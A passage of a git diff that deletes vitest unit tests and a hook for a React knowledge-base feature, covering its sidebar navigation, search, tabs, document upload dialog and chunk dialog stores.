-        expect(screen.getByTestId('nav-item-kb-2')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base names', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByText('KB 1')).toBeInTheDocument();
-        expect(screen.getByText('KB 2')).toBeInTheDocument();
-    });
-
-    it('marks current knowledge base as current', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-kb-1')).toHaveAttribute('data-current', 'true');
-        expect(screen.getByTestId('nav-item-kb-2')).toHaveAttribute('data-current', 'false');
-    });
-
-    it('renders correct links', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-kb-1')).toHaveAttribute('href', '/automation/knowledge-bases/kb-1');
-        expect(screen.getByTestId('nav-item-kb-2')).toHaveAttribute('href', '/automation/knowledge-bases/kb-2');
-    });
-
-    it('shows empty message when no knowledge bases', () => {
-        hoisted.mockUseKnowledgeBaseLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            knowledgeBases: [],
-        });
-
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByText('No knowledge bases.')).toBeInTheDocument();
-    });
-
-    it('does not render items when loading', () => {
-        hoisted.mockUseKnowledgeBaseLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            isLoading: true,
-        });
-
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.queryByTestId('nav-item-kb-1')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseSearchInterface.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseSearchInterface.test.tsx
deleted file mode 100644
index 38a6edfc8ab..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseSearchInterface.test.tsx
+++ /dev/null
@@ -1,202 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseSearchInterface from '../KnowledgeBaseSearchInterface';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleClearSearch: vi.fn(),
-        handleSearch: vi.fn(),
-        mockUseKnowledgeBaseSearchInterface: vi.fn(),
-        setMetadataFilters: vi.fn(),
-        setQuery: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseSearchInterface', () => ({
-    default: hoisted.mockUseKnowledgeBaseSearchInterface,
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        children,
-        disabled,
-        onClick,
-        type,
-    }: {
-        children?: React.ReactNode;
-        disabled?: boolean;
-        onClick?: () => void;
-        size?: string;
-        type?: 'button' | 'submit' | 'reset';
-        variant?: string;
-    }) => (
-        <button data-testid="button" disabled={disabled} onClick={onClick} type={type || 'button'}>
-            {children}
-        </button>
-    ),
-}));
-
-const defaultMockReturn = {
-    canSearch: true,
-    handleClearSearch: hoisted.handleClearSearch,
-    handleSearch: hoisted.handleSearch,
-    isLoading: false,
-    metadataFilters: '',
-    query: '',
-    results: [],
-    searchQuery: '',
-    setMetadataFilters: hoisted.setMetadataFilters,
-    setQuery: hoisted.setQuery,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseSearchInterface', () => {
-    it('renders search form', () => {
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Search Query')).toBeInTheDocument();
-    });
-
-    it('renders query input', () => {
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByPlaceholderText('Enter your search query...')).toBeInTheDocument();
-    });
-
-    it('renders metadata filters input', () => {
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByPlaceholderText('{"category": "documentation"}')).toBeInTheDocument();
-    });
-
-    it('calls setQuery when query input changes', async () => {
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        const queryInput = screen.getByPlaceholderText('Enter your search query...');
-        await userEvent.type(queryInput, 'test');
-
-        expect(hoisted.setQuery).toHaveBeenCalled();
-    });
-
-    it('calls setMetadataFilters when metadata input changes', async () => {
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        const filtersInput = screen.getByPlaceholderText('{"category": "documentation"}');
-        await userEvent.type(filtersInput, 'test');
-
-        expect(hoisted.setMetadataFilters).toHaveBeenCalled();
-    });
-
-    it('disables search button when canSearch is false', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            canSearch: false,
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        const searchButton = screen.getAllByTestId('button')[0];
-
-        expect(searchButton).toBeDisabled();
-    });
-
-    it('shows loading text when isLoading', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            isLoading: true,
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Searching...')).toBeInTheDocument();
-    });
-
-    it('shows result count when search has been performed', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [{content: 'Result', id: 'r-1', metadata: null, score: 0.9}],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Found 1 result')).toBeInTheDocument();
-    });
-
-    it('shows plural results text for multiple results', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [
-                {content: 'Result 1', id: 'r-1', metadata: null, score: 0.9},
-                {content: 'Result 2', id: 'r-2', metadata: null, score: 0.8},
-            ],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Found 2 results')).toBeInTheDocument();
-    });
-
-    it('shows no results message when search returns empty', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('No results found for your query.')).toBeInTheDocument();
-    });
-
-    it('renders search results', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [{content: 'Test content', id: 'r-1', metadata: {file_name: 'doc.pdf'}, score: 0.95}],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Test content')).toBeInTheDocument();
-        expect(screen.getByText('doc.pdf')).toBeInTheDocument();
-    });
-
-    it('displays score percentage', () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [{content: 'Test content', id: 'r-1', metadata: {file_name: 'doc.pdf'}, score: 0.95}],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Score: 95.0%')).toBeInTheDocument();
-    });
-
-    it('calls handleClearSearch when Clear button is clicked', async () => {
-        hoisted.mockUseKnowledgeBaseSearchInterface.mockReturnValue({
-            ...defaultMockReturn,
-            results: [],
-            searchQuery: 'test',
-        });
-
-        render(<KnowledgeBaseSearchInterface knowledgeBaseId="kb-1" />);
-
-        const clearButton = screen.getByText('Clear Search');
-        await userEvent.click(clearButton);
-
-        expect(hoisted.handleClearSearch).toHaveBeenCalled();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseTabs.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseTabs.test.tsx
deleted file mode 100644
index b59f184ba86..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseTabs.test.tsx
+++ /dev/null
@@ -1,103 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseTabs from '../KnowledgeBaseTabs';
-
-vi.mock('@/components/ui/tabs', () => ({
-    Tabs: ({children, defaultValue}: {children: React.ReactNode; className?: string; defaultValue: string}) => (
-        <div data-default-value={defaultValue} data-testid="tabs">
-            {children}
-        </div>
-    ),
-    TabsContent: ({children, value}: {children: React.ReactNode; className?: string; value: string}) => (
-        <div data-testid={`tabs-content-${value}`}>{children}</div>
-    ),
-    TabsList: ({children}: {children: React.ReactNode}) => <div data-testid="tabs-list">{children}</div>,
-    TabsTrigger: ({children, value}: {children: React.ReactNode; value: string}) => (
-        <button data-testid={`tabs-trigger-${value}`}>{children}</button>
-    ),
-}));
-
-vi.mock('../KnowledgeBaseSearchInterface', () => ({
-    default: ({knowledgeBaseId}: {knowledgeBaseId: string}) => (
-        <div data-testid={`search-interface-${knowledgeBaseId}`}>Search Interface</div>
-    ),
-}));
-
-vi.mock('../UploadKnowledgeBaseDocumentDialog', () => ({
-    default: ({knowledgeBaseId}: {knowledgeBaseId: string}) => (
-        <div data-testid={`upload-dialog-${knowledgeBaseId}`}>Upload Dialog</div>
-    ),
-}));
-
-vi.mock('../knowledge-base-document-list/KnowledgeBaseDocumentList', () => ({
-    default: ({documents, knowledgeBaseId}: {documents: unknown[]; knowledgeBaseId: string}) => (
-        <div data-testid={`document-list-${knowledgeBaseId}`}>Document List ({documents.length} docs)</div>
-    ),
-}));
-
-const mockDocuments = [
-    {id: 'doc-1', name: 'Document 1', status: 1},
-    {id: 'doc-2', name: 'Document 2', status: 1},
-];
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseTabs', () => {
-    it('renders tabs container', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('tabs')).toBeInTheDocument();
-    });
-
-    it('has documents as default tab', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('tabs')).toHaveAttribute('data-default-value', 'documents');
-    });
-
-    it('renders Documents tab trigger', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('tabs-trigger-documents')).toBeInTheDocument();
-        expect(screen.getByText('Documents')).toBeInTheDocument();
-    });
-
-    it('renders Search tab trigger', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('tabs-trigger-search')).toBeInTheDocument();
-        expect(screen.getByText('Search')).toBeInTheDocument();
-    });
-
-    it('renders upload document dialog', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('upload-dialog-kb-1')).toBeInTheDocument();
-    });
-
-    it('renders document list in documents tab', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('document-list-kb-1')).toBeInTheDocument();
-    });
-
-    it('passes documents to document list', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Document List (2 docs)')).toBeInTheDocument();
-    });
-
-    it('renders search interface in search tab', () => {
-        render(<KnowledgeBaseTabs documents={mockDocuments} knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('search-interface-kb-1')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/UploadKnowledgeBaseDocumentDialog.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/UploadKnowledgeBaseDocumentDialog.test.tsx
deleted file mode 100644
index 29e31cd204c..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/UploadKnowledgeBaseDocumentDialog.test.tsx
+++ /dev/null
@@ -1,207 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import UploadKnowledgeBaseDocumentDialog from '../UploadKnowledgeBaseDocumentDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleFileChange: vi.fn(),
-        handleOpenChange: vi.fn(),
-        handleSubmit: vi.fn(),
-        mockUseUploadKnowledgeBaseDocumentDialog: vi.fn(),
-        removeFile: vi.fn(),
-        setOpen: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useUploadKnowledgeBaseDocumentDialog', () => ({
-    default: hoisted.mockUseUploadKnowledgeBaseDocumentDialog,
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        children,
-        disabled,
-        onClick,
-    }: {
-        children?: React.ReactNode;
-        disabled?: boolean;
-        onClick?: () => void;
-        size?: string;
-        variant?: string;
-    }) => (
-        <button data-testid="button" disabled={disabled} onClick={onClick}>
-            {children}
-        </button>
-    ),
-}));
-
-vi.mock('@/components/ui/dialog', () => ({
-    Dialog: ({children, open}: {children: React.ReactNode; onOpenChange?: (open: boolean) => void; open?: boolean}) =>
-        open ? <div data-testid="dialog">{children}</div> : null,
-    DialogCloseButton: () => <button data-testid="dialog-close">Close</button>,
-    DialogContent: ({children}: {children: React.ReactNode; className?: string}) => (
-        <div data-testid="dialog-content">{children}</div>
-    ),
-    DialogDescription: ({children}: {children: React.ReactNode}) => <p data-testid="dialog-description">{children}</p>,
-    DialogFooter: ({children}: {children: React.ReactNode}) => <div data-testid="dialog-footer">{children}</div>,
-    DialogHeader: ({children}: {children: React.ReactNode; className?: string}) => (
-        <div data-testid="dialog-header">{children}</div>
-    ),
-    DialogTitle: ({children}: {children: React.ReactNode}) => <h2 data-testid="dialog-title">{children}</h2>,
-    DialogTrigger: ({children}: {asChild?: boolean; children: React.ReactNode}) => (
-        <div data-testid="dialog-trigger">{children}</div>
-    ),
-}));
-
-const defaultMockReturn = {
-    canSubmit: true,
-    formatFileSize: (bytes: number) => `${bytes} bytes`,
-    handleFileChange: hoisted.handleFileChange,
-    handleOpenChange: hoisted.handleOpenChange,
-    handleSubmit: hoisted.handleSubmit,
-    open: true,
-    removeFile: hoisted.removeFile,
-    selectedFiles: [] as {
-        file: File;
-        status: 'completed' | 'error' | 'pending' | 'uploading';
-        statusMessage?: string;
-    }[],
-    setOpen: hoisted.setOpen,
-    uploading: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('UploadKnowledgeBaseDocumentDialog', () => {
-    it('renders dialog when open', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('dialog')).toBeInTheDocument();
-    });
-
-    it('renders dialog title', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('dialog-title')).toHaveTextContent('Upload Documents');
-    });
-
-    it('renders dialog description', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByTestId('dialog-description')).toHaveTextContent(
-            'Upload documents to be processed and indexed in the knowledge base.'
-        );
-    });
-
-    it('renders file drop zone', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Click to browse files')).toBeInTheDocument();
-    });
-
-    it('renders supported file types', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText(/PDF, DOC, DOCX, TXT/)).toBeInTheDocument();
-    });
-
-    it('renders Upload button', () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Upload')).toBeInTheDocument();
-    });
-
-    it('disables Upload button when canSubmit is false', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            canSubmit: false,
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        const uploadButton = screen.getByText('Upload').closest('button');
-
-        expect(uploadButton).toBeDisabled();
-    });
-
-    it('shows uploading progress text', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [
-                {file: new File([''], 'test1.pdf'), status: 'completed'},
-                {file: new File([''], 'test2.pdf'), status: 'uploading'},
-            ],
-            uploading: true,
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Uploading 1/2...')).toBeInTheDocument();
-    });
-
-    it('renders selected files', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [{file: new File(['test'], 'test.pdf', {type: 'application/pdf'}), status: 'pending'}],
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('test.pdf')).toBeInTheDocument();
-    });
-
-    it('shows Selected Files count', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [
-                {file: new File([''], 'test1.pdf'), status: 'pending'},
-                {file: new File([''], 'test2.pdf'), status: 'pending'},
-            ],
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Selected Files (2)')).toBeInTheDocument();
-    });
-
-    it('shows uploading status for uploading files', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [{file: new File([''], 'test.pdf'), status: 'uploading'}],
-            uploading: true,
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Uploading...')).toBeInTheDocument();
-    });
-
-    it('shows error status for failed files', () => {
-        hoisted.mockUseUploadKnowledgeBaseDocumentDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [{file: new File([''], 'test.pdf'), status: 'error', statusMessage: 'Upload failed'}],
-        });
-
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        expect(screen.getByText('Upload failed')).toBeInTheDocument();
-    });
-
-    it('calls handleSubmit when Upload is clicked', async () => {
-        render(<UploadKnowledgeBaseDocumentDialog knowledgeBaseId="kb-1" />);
-
-        const uploadButton = screen.getByText('Upload');
-        await userEvent.click(uploadButton);
-
-        expect(hoisted.handleSubmit).toHaveBeenCalled();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/hooks/tests/useKnowledgeBase.test.ts b/client/src/pages/automation/knowledge-base/hooks/tests/useKnowledgeBase.test.ts
deleted file mode 100644
index 8b0cad10883..00000000000
--- a/client/src/pages/automation/knowledge-base/hooks/tests/useKnowledgeBase.test.ts
+++ /dev/null
@@ -1,162 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBase from '../useKnowledgeBase';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        knowledgeBaseData: {
-            knowledgeBase: {
-                description: 'Test description',
-                documents: [
-                    {id: 'doc-1', name: 'Document 1'},
-                    {id: 'doc-2', name: 'Document 2'},
-                ],
-                id: 'kb-1',
-                maxChunkSize: 1024,
-                minChunkSizeChars: 1,
-                name: 'Test KB',
-                overlap: 200,
-            },
-        },
-        navigate: vi.fn(),
-        paramId: 'kb-1',
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useNavigate: vi.fn(() => hoisted.navigate),
-    useParams: vi.fn(() => ({id: hoisted.paramId})),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBaseQuery: vi.fn(() => ({
-        data: hoisted.knowledgeBaseData,
-        error: null,
-        isLoading: false,
-    })),
-}));
-
-describe('useKnowledgeBase', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.paramId = 'kb-1';
-        hoisted.knowledgeBaseData = {
-            knowledgeBase: {
-                description: 'Test description',
-                documents: [
-                    {id: 'doc-1', name: 'Document 1'},
-                    {id: 'doc-2', name: 'Document 2'},
-                ],
-                id: 'kb-1',
-                maxChunkSize: 1024,
-                minChunkSizeChars: 1,
-                name: 'Test KB',
-                overlap: 200,
-            },
-        };
-    });
-
-    describe('knowledgeBaseId', () => {
-        it('returns id from params', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.knowledgeBaseId).toBe('kb-1');
-        });
-
-        it('returns empty string when no id in params', () => {
-            hoisted.paramId = undefined as unknown as string;
-
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.knowledgeBaseId).toBe('');
-        });
-    });
-
-    describe('knowledgeBase', () => {
-        it('returns knowledge base with documents', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.knowledgeBase).toEqual({
-                ...hoisted.knowledgeBaseData.knowledgeBase,
-                documents: [
-                    {id: 'doc-1', name: 'Document 1'},
-                    {id: 'doc-2', name: 'Document 2'},
-                ],
-            });
-        });
-
-        it('returns undefined when no data', () => {
-            hoisted.knowledgeBaseData = null as unknown as typeof hoisted.knowledgeBaseData;
-
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.knowledgeBase).toBeUndefined();
-        });
-    });
-
-    describe('documents', () => {
-        it('returns documents from knowledge base', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.documents).toEqual([
-                {id: 'doc-1', name: 'Document 1'},
-                {id: 'doc-2', name: 'Document 2'},
-            ]);
-        });
-
-        it('filters out null documents', () => {
-            hoisted.knowledgeBaseData = {
-                knowledgeBase: {
-                    ...hoisted.knowledgeBaseData.knowledgeBase,
-                    documents: [{id: 'doc-1', name: 'Document 1'}, null as unknown as {id: string; name: string}],
-                },
-            };
-
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.documents).toEqual([{id: 'doc-1', name: 'Document 1'}]);
-        });
-
-        it('returns empty array when no documents', () => {
-            hoisted.knowledgeBaseData = {
-                knowledgeBase: {
-                    ...hoisted.knowledgeBaseData.knowledgeBase,
-                    documents: null as unknown as typeof hoisted.knowledgeBaseData.knowledgeBase.documents,
-                },
-            };
-
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.documents).toEqual([]);
-        });
-    });
-
-    describe('handleBackClick', () => {
-        it('navigates to knowledge bases list', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            act(() => {
-                result.current.handleBackClick();
-            });
-
-            expect(hoisted.navigate).toHaveBeenCalledWith('/automation/knowledge-bases');
-        });
-    });
-
-    describe('isLoading', () => {
-        it('returns loading state from query', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-    });
-
-    describe('error', () => {
-        it('returns error from query', () => {
-            const {result} = renderHook(() => useKnowledgeBase());
-
-            expect(result.current.error).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/hooks/useKnowledgeBase.ts b/client/src/pages/automation/knowledge-base/hooks/useKnowledgeBase.ts
deleted file mode 100644
index 2879ffd87fb..00000000000
--- a/client/src/pages/automation/knowledge-base/hooks/useKnowledgeBase.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {KnowledgeBase, KnowledgeBaseDocument, useKnowledgeBaseQuery} from '@/shared/middleware/graphql';
-import {useNavigate, useParams} from 'react-router-dom';
-
-interface UseKnowledgeBaseResultI {
-    documents: KnowledgeBaseDocument[];
-    error: unknown;
-    handleBackClick: () => void;
-    isLoading: boolean;
-    knowledgeBase: (KnowledgeBase & {documents: KnowledgeBaseDocument[]}) | undefined;
-    knowledgeBaseId: string;
-}
-
-export default function useKnowledgeBase(): UseKnowledgeBaseResultI {
-    const {id} = useParams<{id: string}>();
-    const navigate = useNavigate();
-
-    const knowledgeBaseId = id ?? '';
-
-    const {data, error, isLoading} = useKnowledgeBaseQuery(
-        {id: knowledgeBaseId},
-        {
-            enabled: !!knowledgeBaseId,
-        }
-    );
-
-    const knowledgeBase = data?.knowledgeBase ?? undefined;
-    const documents = (knowledgeBase?.documents ?? []).filter((doc): doc is NonNullable<typeof doc> => doc !== null);
-
-    const handleBackClick = () => {
-        navigate('/automation/knowledge-bases');
-    };
-
-    const knowledgeBaseWithDocuments = knowledgeBase
-        ? {
-              ...knowledgeBase,
-              documents,
-          }
-        : undefined;
-
-    return {
-        documents,
-        error,
-        handleBackClick,
-        isLoading,
-        knowledgeBase: knowledgeBaseWithDocuments,
-        knowledgeBaseId,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkDeleteDialogStore.test.ts b/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkDeleteDialogStore.test.ts
deleted file mode 100644
index 65a28ce926c..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkDeleteDialogStore.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useKnowledgeBaseDocumentChunkDeleteDialogStore} from '../useKnowledgeBaseDocumentChunkDeleteDialogStore';
-
-describe('useKnowledgeBaseDocumentChunkDeleteDialogStore', () => {
-    beforeEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    afterEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has empty chunkIdsToDelete array', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-            expect(result.current.chunkIdsToDelete).toEqual([]);
-        });
-    });
-
-    describe('setChunkIdsToDelete', () => {
-        it('sets chunk ids to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-            act(() => {
-                result.current.setChunkIdsToDelete(['chunk-1', 'chunk-2']);
-            });
-
-            expect(result.current.chunkIdsToDelete).toEqual(['chunk-1', 'chunk-2']);
-        });
-
-        it('replaces existing chunk ids', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-            act(() => {
-                result.current.setChunkIdsToDelete(['chunk-1']);
-            });
-
-            act(() => {
-                result.current.setChunkIdsToDelete(['chunk-2', 'chunk-3']);
-            });
-
-            expect(result.current.chunkIdsToDelete).toEqual(['chunk-2', 'chunk-3']);
-        });
-    });
-
-    describe('clearDialog', () => {
-        it('clears chunk ids to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialogStore());
-
-            act(() => {
-                result.current.setChunkIdsToDelete(['chunk-1', 'chunk-2']);
-            });
-
-            act(() => {
-                result.current.clearDialog();
-            });
-
-            expect(result.current.chunkIdsToDelete).toEqual([]);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkEditDialogStore.test.ts b/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkEditDialogStore.test.ts
deleted file mode 100644
index 4cbaf671d9c..00000000000
--- a/client/src/pages/automation/knowledge-base/stores/tests/useKnowledgeBaseDocumentChunkEditDialogStore.test.ts
+++ /dev/null
@@ -1,97 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import {useKnowledgeBaseDocumentChunkEditDialogStore} from '../useKnowledgeBaseDocumentChunkEditDialogStore';
-
-const mockChunk = {
-    content: 'Test content',
-    id: 'chunk-1',
-    knowledgeBaseDocumentId: 'doc-1',
-    metadata: null,
-};
-
-describe('useKnowledgeBaseDocumentChunkEditDialogStore', () => {
-    beforeEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    afterEach(() => {
-        const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-        act(() => {
-            result.current.clearDialog();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has null chunk', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            expect(result.current.chunk).toBeNull();
-        });
-
-        it('has empty content', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            expect(result.current.content).toBe('');
-        });
-    });
-
-    describe('setChunk', () => {
-        it('sets chunk and content from chunk', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialogStore());
-
-            act(() => {
-                result.current.setChunk(mockChunk);
-            });
-
-            expect(result.current.chunk).toEqual(mockChunk);
-            expect(result.current.content).toBe('Test content');
-        });
-
-        it('sets empty content when chunk content is null', () => {
